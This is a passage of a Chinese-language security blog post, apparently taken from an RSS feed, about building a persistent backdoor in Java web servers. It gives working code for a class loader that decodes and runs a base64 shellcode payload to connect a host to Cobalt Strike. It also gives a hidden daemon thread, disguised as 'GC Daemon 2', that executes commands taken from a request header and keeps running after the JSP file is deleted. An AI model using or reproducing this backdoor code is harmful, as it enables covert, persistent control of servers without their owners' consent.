class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            String Str = <span class="code-snippet__string">&#34;ur base64 here&#34;</span>;</span></code><code><span class="code-snippet_outer">            Class result = <span class="code-snippet__keyword">new</span> Myloader().get(Base64.getDecoder().decode(classStr));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span> (Method m:result.getDeclaredMethods())</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                System.out.println(m.getName());</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (m.getName().equals(<span class="code-snippet__string">&#34;run&#34;</span>))</span></code><code><span class="code-snippet_outer">                {</span></code><code><span class="code-snippet_outer">                    m.invoke(result);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="background-color: rgb(255, 255, 255);">放入shellcode后 jsp直接上线cs：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.5950752393980848" style="width: 614px;height: 367px;" data-type="png" data-w="2924" src="https://wechat2rss.xlab.app/img-proxy/?k=13a24dd9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LSn2ibye06ctuxsbPyibTB2JbVIysblQpbdUoapSLZRtPZFIibCPiaSPiboeg%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.5941558441558441" style="width: 761px;height: 452px;" data-type="png" data-w="1848" src="https://wechat2rss.xlab.app/img-proxy/?k=56d8e338&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LSMqNSSS6TC4FkSpuWPlPRLdowpy6Gdgvs70TIcmO0iajic8CQeCxPWicTQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="background-color: rgb(255, 255, 255);font-weight: bold;font-size: 26px;">利用jsp实现线程型后门</span></p><p><span style="font-size: 14px;">参考su18师傅的文章，写的比较清楚了，里面介绍了Timer和<span style="color: rgb(0, 0, 0);background-color: rgb(255, 255, 255);">Daemon型两种：</span></span></p><section style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;margin: 0px;padding: 0px;color: rgb(0, 56, 132);"><a href="https://su18.org/post/memory-shell-2/" target="_blank">https://su18.org/post/memory-shell-2/</a></span></section><p><span style="color: rgb(0, 56, 132);font-size: 14px;"></span></p><p><span style="color: rgb(0, 0, 0);background-color: rgb(255, 255, 255);font-size: 14px;">通过创建一个单独的循环线程，从线程中获取requset header头来执行命令。</span></p><p><span style="color: rgb(0, 0, 0);background-color: rgb(255, 255, 255);font-size: 14px;">Demo如下：</span></p><p><span style="color: rgb(0, 0, 0);background-color: rgb(255, 255, 255);font-size: 14px;">获取system线程组：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">private static ThreadGroup getSystemThreadGroup() {</span></code><code><span class="code-snippet_outer">    ThreadGroup group = Thread.currentThread().getThreadGroup();</span></code><code><span class="code-snippet_outer">    while (!group.getName().equals(&#34;system&#34;)) {</span></code><code><span class="code-snippet_outer">        group = group.getParent();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    return group;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="color: rgb(0, 0, 0);background-color: rgb(255, 255, 255);">创建守护线程：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">Thread d = new Thread(getSystemThreadGroup(), new Runnable() {</span></code><code><span class="code-snippet_outer">    public void run() {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        while (true) {</span></code><code><span class="code-snippet_outer">            try {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                List&lt;Object&gt; list = getRequest();</span></code><code><span class="code-snippet_outer">                if (list.size() == 2) {</span></code><code><span class="code-snippet_outer">                    try {</span></code><code><span class="code-snippet_outer">                        Runtime.getRuntime().exec(list.get(1).toString());</span></code><code><span class="code-snippet_outer">                    } catch (Exception e) {</span></code><code><span class="code-snippet_outer">                        e.printStackTrace();</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                Thread.sleep(10000);</span></code><code><span class="code-snippet_outer">            } catch (Exception ignored) {</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}, &#34;GC Daemon 2&#34;, 0);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">d.setDaemon(true);</span></code><code><span class="code-snippet_outer">d.start();</span></code></pre></section><p><span style="background-color: rgb(255, 255, 255);font-size: 14px;">调试过程中发现有两个小问题：</span></p><p><span style="background-color: rgb(255, 255, 255);font-weight: bold;">1.requset请求获取逻辑</span></p><p><span style="background-color: rgb(255, 255, 255);font-size: 14px;">在使用System线程组创建线程后，当前的ThreadGroup将会变为system，但其中的groups中包含我们所需的main线程组。</span></p><p><img class="rich_pages wxw-img" data-ratio="0.5744514106583072" style="width: 761px;height: 437px;" data-type="png" data-w="2552" src="https://wechat2rss.xlab.app/img-proxy/?k=63269c70&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LSRvQdD7dGZAL6azQxn4a0wTkqGKvicKQV0weC6YHjtoLrmIO82Yyn1XQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);font-size: 14px;">所以这里需要稍微改一下requset获取逻辑：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">public List&lt;Object&gt; getRequest() {</span></code><code><span class="code-snippet_outer">    try {</span></code><code><span class="code-snippet_outer">        ThreadGroup[] groups = (ThreadGroup[]) getField(Thread.currentThread().getThreadGroup(), &#34;groups&#34;);</span></code><code><span class="code-snippet_outer">        for (ThreadGroup group : groups) {</span></code><code><span class="code-snippet_outer">            if (group.getName().equals(&#34;main&#34;)) {</span></code><code><span class="code-snippet_outer">                Thread[] threads = (Thread[]) ((Thread[]) getField(group, &#34;threads&#34;));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                for (Thread thread : threads) {</span></code><code><span class="code-snippet_outer">                    if (thread != null) {</span></code><code><span class="code-snippet_outer">                        String threadName = thread.getName();</span></code><code><span class="code-snippet_outer">                        if (!threadName.contains(&#34;exec&#34;) &amp;&amp; threadName.contains(&#34;http&#34;)) {</span></code><code><span class="code-snippet_outer">                            Object target = getField(thread, &#34;target&#34;);</span></code><code><span class="code-snippet_outer">                            if (target instanceof Runnable) {</span></code><code><span class="code-snippet_outer">                                try {</span></code><code><span class="code-snippet_outer">                                    target = getField(getField(getField(target, &#34;this$0&#34;), &#34;handler&#34;), &#34;global&#34;);</span></code><code><span class="code-snippet_outer">                                } catch (Exception var11) {</span></code><code><span class="code-snippet_outer">                                    continue;</span></code><code><span class="code-snippet_outer">                                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                List processors = (List) getField(target, &#34;processors&#34;);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                for (Object processor : processors) {</span></code><code><span class="code-snippet_outer">                                    target = getField(processor, &#34;req&#34;);</span></code><code><span class="code-snippet_outer">                                    String cmd  = null;</span></code><code><span class="code-snippet_outer">                                    cmd = (String) target.getClass().getMethod(&#34;getHeader&#34;, String.class).invoke(target, new String(&#34;bluE0&#34;));</span></code><code><span class="code-snippet_outer">                                    if (cmd != null &amp;&amp; !cmd.isEmpty()) {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                        Object note = target.getClass().getDeclaredMethod(&#34;getNote&#34;, int.class).invoke(target, 1);</span></code><code><span class="code-snippet_outer">                                        System.out.println(&#34;note = &#34; + note);</span></code><code><span class="code-snippet_outer">                                        Object req = note.getClass().getDeclaredMethod(&#34;getRequest&#34;).invoke(note);</span></code><code><span class="code-snippet_outer">                                        System.out.println(&#34;req = &#34; + req);</span></code><code><span class="code-snippet_outer">                                        List&lt;Object&gt; list = new ArrayList&lt;Object&gt;();</span></code><code><span class="code-snippet_outer">                                        list.add(req);</span></code><code><span class="code-snippet_outer">                                        list.add(cmd);</span></code><code><span class="code-snippet_outer">                                        return list;</span></code><code><span class="code-snippet_outer">                                    }</span></code><code><span class="code-snippet_outer">                                }</span></code><code><span class="code-snippet_outer">                            }</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            } else {</span></code><code><span class="code-snippet_outer">                continue;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    } catch (Exception ignored) {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    return new ArrayList&lt;Object&gt;();</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="background-color: rgb(255, 255, 255);font-weight: bold;">2.线程执行时间不均</span></p><p><span style="background-color: rgb(255, 255, 255);font-size: 14px;">此问题是由于server在处理request时的时间与我们创建的守护线程在执行代码逻辑时的时间不一致导致的，简单点说就是我们的恶意代码执行时间小于server的响应时间，所以可能会出现一次命令执行多次的情况。</span></p><p><span style="background-color: rgb(255, 255, 255);font-size: 14px;">在这里su18师傅通过hashSet记录执行的命令，使每一条命令只能执行一次。</span></p><p><span style="background-color: rgb(255, 255, 255);font-size: 14px;">经过测试在自己本地的测试环境下，将sleep时间改为10000ms时，每次命令大概只会重复执行一次：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.610011641443539" style="width: 604px;height: 371px;" data-type="png" data-w="1718" src="https://wechat2rss.xlab.app/img-proxy/?k=6a47b23e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LSic90M1V7AVyHr0LH2SPuroCVR6icibbwArgVrEflQBwU80GxagChukicfA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.7110912343470484" style="width: 761px;height: 541px;" data-type="png" data-w="2236" src="https://wechat2rss.xlab.app/img-proxy/?k=ebddfcf1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LSrkWplU50PLbEY3u0SoleZVHAwXxRJBCfLeOcvpwkBEQvoz2iaLypibgw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="background-color: rgb(255, 255, 255);font-size: 14px;">根据守护线程的特性，将相关jsp删除后此段代码仍将线程中执行：</span></p><p><img data-ratio="0.48857644991212656" style="width: 534px;height: 266px;" data-type="png" data-w="1138" src="https://wechat2rss.xlab.app/img-proxy/?k=305e9b11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LSR7icAAWJfLIqY0lkl76zNwibibUhSbicHvK72wkpvOg5lrnIMBic27le2Tg%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6063072227873856" style="width: 491px;height: 300px;" data-type="png" data-w="1966" src="https://wechat2rss.xlab.app/img-proxy/?k=b7791b1d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LSuhRcnHBdAWqVnrsyHYlcXoFSZC7XrLUzNAH8Nfdn9FvcrDwibhFxhnQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">达到持久化的效果：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.7010309278350515" style="width: 574px;height: 405px;" data-type="png" data-w="1940" src="https://wechat2rss.xlab.app/img-proxy/?k=4fe96fc7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LSCe9Om1ibQBT1LtnRaQMolVURmyXY9mKd2CLupzz4fgxyYMqfibgGMtFw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: 26px;">组合利用</span></p><p><span style="background-color: rgb(255, 255, 255);font-size: 14px;">利用很简单，将上述两位师傅的方法组合一下即可，在header头中获取到特征值既执行我们预先设置好的shellcode：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">Thread d = new Thread(getSystemThreadGroup(), new Runnable() {</span></code><code><span class="code-snippet_outer">        public void run() {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            while (true) {</span></code><code><span class="code-snippet_outer">                try {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    List&lt;Object&gt; list = getRequest();</span></code><code><span class="code-snippet_outer">                    if (list.size() == 2) {</span></code><code><span class="code-snippet_outer">                        try {</span></code><code><span class="code-snippet_outer">//                            Runtime.getRuntime().exec(list.get(1).toString());</span></code><code><span class="code-snippet_outer">                            class Myloader extends ClassLoader</span></code><code><span class="code-snippet_outer">                            {</span></code><code><span class="code-snippet_outer">                                public Class get(byte[] b) {</span></code><code><span class="code-snippet_outer">                                    return super.defineClass(b, 0, b.length);</span></code><code><span class="code-snippet_outer">                                }</span></code><code><span class="code-snippet_outer">                            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                            try {</span></code><code><span class="code-snippet_outer">                            String classStr = &#34;payload&#34;</span></code><code><span class="code-snippet_outer">                            Class result = new Myloader().get(Base64.getDecoder().decode(classStr));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                for (Method m : result.getDeclaredMethods()) {</span></code><code><span class="code-snippet_outer">                                    System.out.println(m.getName());</span></code><code><span class="code-snippet_outer">                                    if (m.getName().equals(&#34;run&#34;)) {</span></code><code><span class="code-snippet_outer">                                        m.invoke(result);</span></code><code><span class="code-snippet_outer">                                    }</span></code><code><span class="code-snippet_outer">                                }</span></code><code><span class="code-snippet_outer">                            } catch (Exception ignored) {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                        } catch (Exception ignored) {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                    Thread.sleep(10000);</span></code><code><span class="code-snippet_outer">                } catch (Exception ignored) {</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }, &#34;GC Daemon 2&#34;, 0);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    d.setDaemon(true);</span></code><code><span class="code-snippet_outer">    d.start();</span></code></pre></section><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.6202920830130668" style="width: 761px;height: 472px;" data-type="png" data-w="2602" src="https://wechat2rss.xlab.app/img-proxy/?k=b5be8043&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LSOMXEKGErKQ0z3gK6En0wVTMckLot7EhbmNEQERRlqPBMs5CKxhEsGw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);font-size: 14px;">header头中携带我们设置好的字段，值随意：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6633204633204633" style="width: 761px;height: 505px;" data-type="png" data-w="2590" src="https://wechat2rss.xlab.app/img-proxy/?k=a249c148&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LS1DOTNA5T8nfdtL4KNiaBuRQhp0uTUUZmwq4YXZlwXbia5tA6OIiaicd1BA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);font-size: 14px;">既简单实现一个线程型cs后门。</span></p><p><span style="background-color: rgb(255, 255, 255);font-weight: bold;font-size: 26px;">后记</span></p><p><span style="font-size: 14px;">本文提到的技术都是各位师傅已经发表过的，顶多算得上是一篇java学习笔记。</span></p><p><span style="font-size: 14px;">前几个月研究rebeyond师傅的java原生函数hook时将open jdk翻了一遍，无奈没有找到其他相对好利用的native函数。前段时间看到su18师傅的线程型内存马想到是否可以组合一下，于是尝试自己改一改，好歹当作有点产出～</span></p><p><span style="font-size: 14px;">上述中若有不足或错误望师傅们点出。</span></p></article>



<p><a href="2247483678">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c4b2856b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MjgxOTc4MA%3D%3D%26mid%3D2247483678%26idx%3D1%26sn%3D1f0282bde47e41281e4007b733b0505f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 12 Jun 2022 21:28:00 +0800</pubDate>
    </item>
  </channel>
</rss>